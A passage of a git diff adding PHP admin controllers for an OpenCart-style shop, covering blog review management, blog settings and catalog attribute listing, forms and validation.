+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $review_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($review_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($review_total - $this->config->get('config_limit_admin'))) ? $review_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $review_total, ceil($review_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_article'] = $filter_article;
+ $data['filter_author'] = $filter_author;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/review_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['review_article_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['article'])) {
+ $data['error_article'] = $this->error['article'];
+ } else {
+ $data['error_article'] = '';
+ }
+
+ if (isset($this->error['author'])) {
+ $data['error_author'] = $this->error['author'];
+ } else {
+ $data['error_author'] = '';
+ }
+
+ if (isset($this->error['text'])) {
+ $data['error_text'] = $this->error['text'];
+ } else {
+ $data['error_text'] = '';
+ }
+
+ if (isset($this->error['rating'])) {
+ $data['error_rating'] = $this->error['rating'];
+ } else {
+ $data['error_rating'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['review_article_id'])) {
+ $data['action'] = $this->url->link('blog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_article_id=' . $this->request->get['review_article_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['review_article_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $review_info = $this->model_blog_review->getReview($this->request->get['review_article_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['article_id'])) {
+ $data['article_id'] = $this->request->post['article_id'];
+ } elseif (!empty($review_info)) {
+ $data['article_id'] = $review_info['article_id'];
+ } else {
+ $data['article_id'] = '';
+ }
+
+ if (isset($this->request->post['article'])) {
+ $data['article'] = $this->request->post['article'];
+ } elseif (!empty($review_info)) {
+ $data['article'] = $review_info['article'];
+ } else {
+ $data['article'] = '';
+ }
+
+ if (isset($this->request->post['author'])) {
+ $data['author'] = $this->request->post['author'];
+ } elseif (!empty($review_info)) {
+ $data['author'] = $review_info['author'];
+ } else {
+ $data['author'] = '';
+ }
+
+ if (isset($this->request->post['text'])) {
+ $data['text'] = $this->request->post['text'];
+ } elseif (!empty($review_info)) {
+ $data['text'] = $review_info['text'];
+ } else {
+ $data['text'] = '';
+ }
+
+ if (isset($this->request->post['rating'])) {
+ $data['rating'] = $this->request->post['rating'];
+ } elseif (!empty($review_info)) {
+ $data['rating'] = $review_info['rating'];
+ } else {
+ $data['rating'] = '';
+ }
+
+ if (isset($this->request->post['date_added'])) {
+ $data['date_added'] = $this->request->post['date_added'];
+ } elseif (!empty($review_info)) {
+ $data['date_added'] = ($review_info['date_added'] != '0000-00-00 00:00' ? $review_info['date_added'] : '');
+ } else {
+ $data['date_added'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($review_info)) {
+ $data['status'] = $review_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/review_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['article_id']) {
+ $this->error['article'] = $this->language->get('error_article');
+ }
+
+ if ((utf8_strlen($this->request->post['author']) < 3) || (utf8_strlen($this->request->post['author']) > 64)) {
+ $this->error['author'] = $this->language->get('error_author');
+ }
+
+ if (utf8_strlen($this->request->post['text']) < 1) {
+ $this->error['text'] = $this->language->get('error_text');
+ }
+
+ if (!isset($this->request->post['rating']) || $this->request->post['rating'] < 0 || $this->request->post['rating'] > 5) {
+ $this->error['rating'] = $this->language->get('error_rating');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('blog/review');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $data = array();
+ $result = $this->model_blog_review->getReview($review_article_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 1;
+ $this->model_blog_review->editReview($review_article_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('blog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('blog/review');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $data = array();
+ $result = $this->model_blog_review->getReview($review_article_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 0;
+ $this->model_blog_review->editReview($review_article_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/setting.php b/public/admin/controller/blog/setting.php
new file mode 100644
index 0000000..f19fbfa
--- /dev/null
+++ b/public/admin/controller/blog/setting.php
@@ -0,0 +1,297 @@
+load->language('blog/setting');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('configblog', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_article'] = $this->language->get('text_article');
+ $data['text_review'] = $this->language->get('text_review');
+ $data['entry_article_limit'] = $this->language->get('entry_article_limit');
+ $data['entry_article_description_length'] = $this->language->get('entry_article_description_length');
+ $data['entry_limit_admin'] = $this->language->get('entry_limit_admin');
+ $data['entry_article_count'] = $this->language->get('entry_article_count');
+ $data['entry_blog_menu'] = $this->language->get('entry_blog_menu');
+ $data['entry_article_download'] = $this->language->get('entry_article_download');
+ $data['entry_review'] = $this->language->get('entry_review');
+ $data['entry_review_guest'] = $this->language->get('entry_review_guest');
+ $data['entry_review_mail'] = $this->language->get('entry_review_mail');
+ $data['entry_image_category'] = $this->language->get('entry_image_category');
+ $data['entry_image_article'] = $this->language->get('entry_image_article');
+ $data['entry_image_related'] = $this->language->get('entry_image_related');
+ $data['entry_width'] = $this->language->get('entry_width');
+ $data['entry_height'] = $this->language->get('entry_height');
+ $data['entry_name'] = $this->language->get('entry_name');
+ $data['entry_html_h1'] = $this->language->get('entry_html_h1');
+ $data['entry_meta_title'] = $this->language->get('entry_meta_title');
+ $data['entry_meta_description'] = $this->language->get('entry_meta_description');
+ $data['entry_meta_keyword'] = $this->language->get('entry_meta_keyword');
+
+ $data['help_comment'] = $this->language->get('help_comment');
+ $data['help_article_limit'] = $this->language->get('help_article_limit');
+ $data['help_article_description_length'] = $this->language->get('help_article_description_length');
+ $data['help_limit_admin'] = $this->language->get('help_limit_admin');
+ $data['help_article_count'] = $this->language->get('help_article_count');
+ $data['help_blog_menu'] = $this->language->get('help_blog_menu');
+ $data['help_review'] = $this->language->get('help_review');
+ $data['help_review_guest'] = $this->language->get('help_review_guest');
+ $data['help_review_mail'] = $this->language->get('help_review_mail');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ $data['tab_general'] = $this->language->get('tab_general');
+ $data['tab_option'] = $this->language->get('tab_option');
+ $data['tab_image'] = $this->language->get('tab_image');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_article'])) {
+ $data['error_image_article'] = $this->error['image_article'];
+ } else {
+ $data['error_image_article'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['article_limit'])) {
+ $data['error_article_limit'] = $this->error['article_limit'];
+ } else {
+ $data['error_article_limit'] = '';
+ }
+
+ if (isset($this->error['article_description_length'])) {
+ $data['error_article_description_length'] = $this->error['article_description_length'];
+ } else {
+ $data['error_article_description_length'] = '';
+ }
+
+ if (isset($this->error['limit_admin'])) {
+ $data['error_limit_admin'] = $this->error['limit_admin'];
+ } else {
+ $data['error_limit_admin'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['configblog_article_limit'])) {
+ $data['configblog_article_limit'] = $this->request->post['configblog_article_limit'];
+ } else {
+ $data['configblog_article_limit'] = $this->config->get('configblog_article_limit');
+ }
+
+ if (isset($this->request->post['configblog_article_description_length'])) {
+ $data['configblog_article_description_length'] = $this->request->post['configblog_article_description_length'];
+ } else {
+ $data['configblog_article_description_length'] = $this->config->get('configblog_article_description_length');
+ }
+
+ if (isset($this->request->post['configblog_limit_admin'])) {
+ $data['configblog_limit_admin'] = $this->request->post['configblog_limit_admin'];
+ } else {
+ $data['configblog_limit_admin'] = $this->config->get('configblog_limit_admin');
+ }
+
+ if (isset($this->request->post['configblog_article_count'])) {
+ $data['configblog_article_count'] = $this->request->post['configblog_article_count'];
+ } else {
+ $data['configblog_article_count'] = $this->config->get('configblog_article_count');
+ }
+
+ if (isset($this->request->post['configblog_blog_menu'])) {
+ $data['configblog_blog_menu'] = $this->request->post['configblog_blog_menu'];
+ } else {
+ $data['configblog_blog_menu'] = $this->config->get('configblog_blog_menu');
+ }
+
+ if (isset($this->request->post['configblogarticle_download'])) {
+ $data['configblog_article_download'] = $this->request->post['configblog_article_download'];
+ } else {
+ $data['configblog_article_download'] = $this->config->get('configblog_article_download');
+ }
+
+ if (isset($this->request->post['configblog_review_status'])) {
+ $data['configblog_review_status'] = $this->request->post['configblog_review_status'];
+ } else {
+ $data['configblog_review_status'] = $this->config->get('configblog_review_status');
+ }
+
+ if (isset($this->request->post['configblog_review_guest'])) {
+ $data['configblog_review_guest'] = $this->request->post['configblog_review_guest'];
+ } else {
+ $data['configblog_review_guest'] = $this->config->get('configblog_review_guest');
+ }
+
+ if (isset($this->request->post['configblog_review_mail'])) {
+ $data['configblog_review_mail'] = $this->request->post['configblog_review_mail'];
+ } else {
+ $data['configblog_review_mail'] = $this->config->get('configblog_review_mail');
+ }
+
+ if (isset($this->request->post['configblog_image_category_width'])) {
+ $data['configblog_image_category_width'] = $this->request->post['configblog_image_category_width'];
+ } else {
+ $data['configblog_image_category_width'] = $this->config->get('configblog_image_category_width');
+ }
+
+ if (isset($this->request->post['configblog_image_category_height'])) {
+ $data['configblog_image_category_height'] = $this->request->post['configblog_image_category_height'];
+ } else {
+ $data['configblog_image_category_height'] = $this->config->get('configblog_image_category_height');
+ }
+
+ if (isset($this->request->post['configblog_image_article_width'])) {
+ $data['configblog_image_article_width'] = $this->request->post['configblog_image_article_width'];
+ } else {
+ $data['configblog_image_article_width'] = $this->config->get('configblog_image_article_width');
+ }
+
+ if (isset($this->request->post['configblog_image_article_height'])) {
+ $data['configblog_image_article_height'] = $this->request->post['configblog_image_article_height'];
+ } else {
+ $data['configblog_image_article_height'] = $this->config->get('configblog_image_article_height');
+ }
+
+ if (isset($this->request->post['configblog_image_related_width'])) {
+ $data['configblog_image_related_width'] = $this->request->post['configblog_image_related_width'];
+ } else {
+ $data['configblog_image_related_width'] = $this->config->get('configblog_image_related_width');
+ }
+
+ if (isset($this->request->post['configblog_image_related_height'])) {
+ $data['configblog_image_related_height'] = $this->request->post['configblog_image_related_height'];
+ } else {
+ $data['configblog_image_related_height'] = $this->config->get('configblog_image_related_height');
+ }
+
+ if (isset($this->request->post['configblog_name'])) {
+ $data['configblog_name'] = $this->request->post['configblog_name'];
+ } else {
+ $data['configblog_name'] = $this->config->get('configblog_name');
+ }
+
+ if (isset($this->request->post['configblog_html_h1'])) {
+ $data['configblog_html_h1'] = $this->request->post['configblog_html_h1'];
+ } else {
+ $data['configblog_html_h1'] = $this->config->get('configblog_html_h1');
+ }
+
+ if (isset($this->request->post['configblog_meta_title'])) {
+ $data['configblog_meta_title'] = $this->request->post['configblog_meta_title'];
+ } else {
+ $data['configblog_meta_title'] = $this->config->get('configblog_meta_title');
+ }
+
+ if (isset($this->request->post['configblog_meta_description'])) {
+ $data['configblog_meta_description'] = $this->request->post['configblog_meta_description'];
+ } else {
+ $data['configblog_meta_description'] = $this->config->get('configblog_meta_description');
+ }
+
+ if (isset($this->request->post['configblog_meta_keyword'])) {
+ $data['configblog_meta_keyword'] = $this->request->post['configblog_meta_keyword'];
+ } else {
+ $data['configblog_meta_keyword'] = $this->config->get('configblog_meta_keyword');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/setting', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'setting/setting')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['configblog_image_category_width'] || !$this->request->post['configblog_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['configblog_image_article_width'] || !$this->request->post['configblog_image_article_height']) {
+ $this->error['image_article'] = $this->language->get('error_image_article');
+ }
+
+ if (!$this->request->post['configblog_image_related_width'] || !$this->request->post['configblog_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['configblog_article_limit']) {
+ $this->error['article_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['configblog_article_description_length']) {
+ $this->error['article_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['configblog_limit_admin']) {
+ $this->error['limit_admin'] = $this->language->get('error_limit');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/attribute.php b/public/admin/controller/catalog/attribute.php
new file mode 100644
index 0000000..008d15c
--- /dev/null
+++ b/public/admin/controller/catalog/attribute.php
@@ -0,0 +1,418 @@
+load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute->addAttribute($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute->editAttribute($this->request->get['attribute_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $attribute_id) {
+ $this->model_catalog_attribute->deleteAttribute($attribute_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'ad.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/attribute/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/attribute/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['attributes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $attribute_total = $this->model_catalog_attribute->getTotalAttributes();
+
+ $results = $this->model_catalog_attribute->getAttributes($filter_data);
+
+ foreach ($results as $result) {
+ $data['attributes'][] = array(
+ 'attribute_id' => $result['attribute_id'],
+ 'name' => $result['name'],
+ 'attribute_group' => $result['attribute_group'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/attribute/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_id=' . $result['attribute_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=ad.name' . $url, true);
+ $data['sort_attribute_group'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=attribute_group' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=a.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $attribute_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($attribute_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($attribute_total - $this->config->get('config_limit_admin'))) ? $attribute_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $attribute_total, ceil($attribute_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['attribute_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['attribute_group'])) {
+ $data['error_attribute_group'] = $this->error['attribute_group'];
+ } else {
+ $data['error_attribute_group'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['attribute_id'])) {
+ $data['action'] = $this->url->link('catalog/attribute/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/attribute/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_id=' . $this->request->get['attribute_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['attribute_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $attribute_info = $this->model_catalog_attribute->getAttribute($this->request->get['attribute_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['attribute_description'])) {
+ $data['attribute_description'] = $this->request->post['attribute_description'];
+ } elseif (isset($this->request->get['attribute_id'])) {
+ $data['attribute_description'] = $this->model_catalog_attribute->getAttributeDescriptions($this->request->get['attribute_id']);
+ } else {
+ $data['attribute_description'] = array();
+ }
+
+ if (isset($this->request->post['attribute_group_id'])) {
+ $data['attribute_group_id'] = $this->request->post['attribute_group_id'];
+ } elseif (!empty($attribute_info)) {
+ $data['attribute_group_id'] = $attribute_info['attribute_group_id'];
+ } else {
+ $data['attribute_group_id'] = '';
+ }
+
+ $this->load->model('catalog/attribute_group');
+
+ $data['attribute_groups'] = $this->model_catalog_attribute_group->getAttributeGroups();
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($attribute_info)) {
+ $data['sort_order'] = $attribute_info['sort_order'];
